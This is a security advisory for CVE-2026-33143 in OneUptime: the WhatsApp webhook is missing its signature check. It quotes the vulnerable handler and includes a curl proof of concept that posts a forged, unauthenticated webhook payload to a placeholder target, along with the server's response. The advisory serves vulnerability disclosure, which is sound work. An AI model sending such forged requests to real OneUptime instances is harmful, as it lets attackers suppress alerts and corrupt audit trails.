oneuptime
Affected
- introduced
0, fixed10.0.34(semver)
Fixed versions
10.0.34
Fix
- Fixed version
10.0.34npm install [email protected]
Advisory
Also known as: CVE-2026-33143
OneUptime WhatsApp Webhook Missing Signature Verification
Summary
The WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks.
Details
Vulnerable code — `App/FeatureSet/Notification/API/WhatsApp.ts` lines 372-430:
router.post(
"/webhook",
async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {
try {
const body: JSONObject = req.body as JSONObject;
// NO signature verification! No X-Hub-Signature-256 check!
if (
(body["object"] as string | undefined) !== "whatsapp_business_account"
) {
return Response.sendEmptySuccessResponse(req, res);
}
const entries: JSONArray | undefined = body["entry"] as JSONArray | undefined;
// ... processes entries and updates WhatsApp log status records
Compare with the Slack webhook which correctly validates signatures:
`Common/Server/Middleware/SlackAuthorization.ts` line 58:
const isValid = crypto.timingSafeEqual(
Buffer.from(computedSignature),
Buffer.from(slackSignature)
);
The WhatsApp GET webhook correctly validates the verify token — only the POST handler (which processes actual events) is missing signature verification.
No existing CVEs cover webhook signature verification issues in OneUptime. The closest is GHSA-cw6x-mw64-q6pv (WhatsApp Resend Verification Auth Bypass), which is about a different WhatsApp-related authorization issue.
PoC
Environment: OneUptime v10.0.23 via docker compose up (default configuration)
# Forge a delivery status update for any WhatsApp notification — no auth, no signature
curl -sv -X POST http://TARGET:8080/api/notification/whatsapp/webhook \
-H "Content-Type: application/json" \
-d '{
"object": "whatsapp_business_account",
"entry": [{
"id": "FAKE_WABA_ID",
"changes": [{
"value": {
"messaging_product": "whatsapp",
"metadata": {
"display_phone_number": "+15550000000",
"phone_number_id": "FAKE_PHONE_ID"
},
"messages": [{
"from": "15551234567",
"id": "wamid.FAKE",
"timestamp": "1234567890",
"text": {"body": "INJECTED_MESSAGE"},
"type": "text"
}]
},
"field": "messages"
}]
}]
}'
Docker validation (oneuptime/app:release, APP_VERSION=10.0.23):
< HTTP/1.1 200 OK
{}
X-Hub-Signature-256 header provided — no signature verification at allImpact
Any unauthenticated remote attacker can forge WhatsApp webhook events:
High Basis: The source's own band: HIGH
0, fixed 10.0.34 (semver)10.0.34
10.0.34npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0